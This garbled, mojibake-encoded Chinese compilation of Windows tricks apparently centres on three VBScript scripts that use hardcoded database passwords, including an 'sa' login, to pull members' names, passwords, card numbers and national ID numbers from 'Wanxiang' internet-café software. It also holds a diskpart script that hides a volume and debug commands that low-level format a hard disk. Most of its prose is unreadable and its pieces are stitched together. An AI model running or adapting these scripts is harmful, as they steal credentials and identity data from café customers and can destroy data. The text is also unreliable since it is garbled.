1¡¢diskpart

@echo off
echo 1>>c:\idisk.txt Select Volume=H
echo 1>>c:\idisk.txt Remove All
echo 1>>c:\idisk.txt Assign Letter=G
echo 1>>c:\idisk.txt Exit
Diskpart /s c:\idisk.txt >nul
Del c:\idisk.txt

2¡¢×¢²á±í

µ¼ÈëHKEY_LOCAL_MACHINE\SYSTEM\MountedDevices

¸÷°æ±¾ÍòÏóÃÜÂëµÄ²éѯ½Å±¾:

1.²éѯÍòÏó2003½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc=" DBQ="+"Oct2003.mdb"+"; pwd=" +"chrdwhdhxt"+"; DRIVER={Microsoft Access Driver (*.mdb)};"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid='"&sid&"'")
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

2.²éѯÍòÏó2004 ACCESS°æ±¾µÄÃÜÂë½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc="Provider=Microsoft.Jet.OLEDB.4.0;Password=ÍòÏóÍø¹ÜÊÇÒ»¸ö·¢Õ¹ÁË5ÄêµÄ³ÉÊìµÄ²úÆ·;User ID=datamaintain;Data Source=2004mem.mdb;Persist Security Info=True;Jet OLEDB:System database=SICENT.MDW;Jet OLEDB:Database Password=zhrmghg1949jgqz"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid='"&sid&"'")
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

3.²éѯÍòÏó2004 SQL°æ±¾µÄÃÜÂë½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc="driver={sql server};server=192.168.0.233;uid=sa;pwd=123456;"&"database=wx2004;"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid="&sid)
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

Æäʵ¸÷°æ±¾Ö»ÊÇÁ¬½ÓÊý¾Ý¿âµÄ·½Ê½²»Í¬£¬»¹ÊÇÊý¾Ý¿âµÄ·¾¶»òIP£¬¼°sicent.mdw·¾¶×ÔÐиü¸Ä.

·­¿ªÍøÂçÉϵÄÈëÇÖ×ÊÁÏ¿´¿´°É£¡´ó¶àÊýµÄÈëÇÖ¶¼ÊÇÔÚcmdÏÂÍê³ÉµÄ£¬±È½ÏµäÐ͵ÄÓÐÒç³öµÃµ½Ò»¸ösystemȨÏÞµÄcmdshell£¬È»ºóÖÖÖ²Ò»¸öTcmdÖ®Àà°ó¶¨ÁËcmd.exeµÄºóÃÅ¡£Ò²ÓÐÀûÓÃweb³ÌÐòµÄ©¶´µÃµ½Ò»¸öwebshellÈ»ºóÀûÓõÍȨÏÞµÄcmdshellÀ´ÌáÉýȨÏÞ£¬×îºóÔÙÖÖÖ²ºóÃÅ¡­¡­¸÷ÖÖ¸÷ÑùµÄ¹¥»÷¶¼ËµÃ÷ÈëÇÖºÍcmd.exeÊÇÏà¹ØµÄ£¬ÒòΪһ¸öcmd.exe¾ÍÊÇÒ»¸öÓû§Óëϵͳ½»»¥µÄÒ»¸ö½Ó¿Ú£¬ÊÇÈëÇÖÕß½øÈëϵͳµÄÊ×ҪĿ±ê¡£µ±È»£¬ÎÒÃDz»ÄÜÔÚÕâÀï×øÒÔ´ý±Ð£¬ÈçºÎ·ÀÖ¹±ðÈËͨ¹ýÒç³öµÃµ½ÄãµÄcmdshell£¬ÈçºÎÖªµÀ±ðÈËÒѾ­½øÈëϵͳ²¢ÇÒ»ñµÃcmdshell£¬ÈçºÎÔÚÈ˼ҵǽµ½ÎÒÃÇ»úÆ÷µÄʱºòץסÈëÇÖÕßÄØ£¿ÏÖÔÚ¾ÍÈÃÎÒÃÇ´òÔìÒ»¸öcmdϵÄÖÕ¼«·ÀÏß°É¡£

(1)¡¢Ö±½Óµ÷ÓÃBIOS ROMÖеĵ͸ñ³ÌÐò

¡¡¡¡Ôںܶà¼ÆËã»úµÄBIOS ROMÖдæ·Å×ŵ͸ñ³ÌÐò£¬´æ·ÅµØÖ·´ÓC8005HµØÖ·¿ªÊ¼£¬¾ßÌå²Ù×÷ÈçÏ£º

£ £ A£º£Ü£¾Debug
£ £ -G C800 £º0005£¨//ÕâʱÆÁÄ»ÏÔʾÐÅÏ¢(²»Í¬°æ±¾µÄBIOSÏÔʾµÄÐÅÏ¢¿ÉÄܲ»Í¬)£¬»Ø³µºóÌáʾ£º£©
£ £ Current Interleave is 3 select new interleave or Return for current£¨//ÕâÊÇÒªÇóÓû§Ñ¡Ôñ½»²æÒò×Ó£¬°´»Ø³µ±íʾȡĬÈÏÖµ3£¬Ò²¿ÉÊäÈëеĽ»²æÒò×ÓÖµ£¬Ó²Å̵Ľ»²æÒò×ÓÒ»°ãÊÇ3£¬ËùÒÔÖ±½Ó»Ø³µ¼´¿É¡£ÆÁÄ»½Ó×ÅÌáʾ£º£©
£ £ Are you dynamically configuring the drive-answer Y/N©t
£ £ Press¡°Y¡±to begin formatting the drive C£º with interleave 03£¨//¼üÈë¡°Y¡±ºó¿ªÊ¼¶ÔÓ²Å̽øÐе͸ñ£©
£ £ Formatting ¡­¡­£¨//Íê³ÉºóѯÎÊÊÇ·ñ´¦Àí»µ´ÅµÀ£©
£ £ Do you want to format bad track-answer Y/N£¿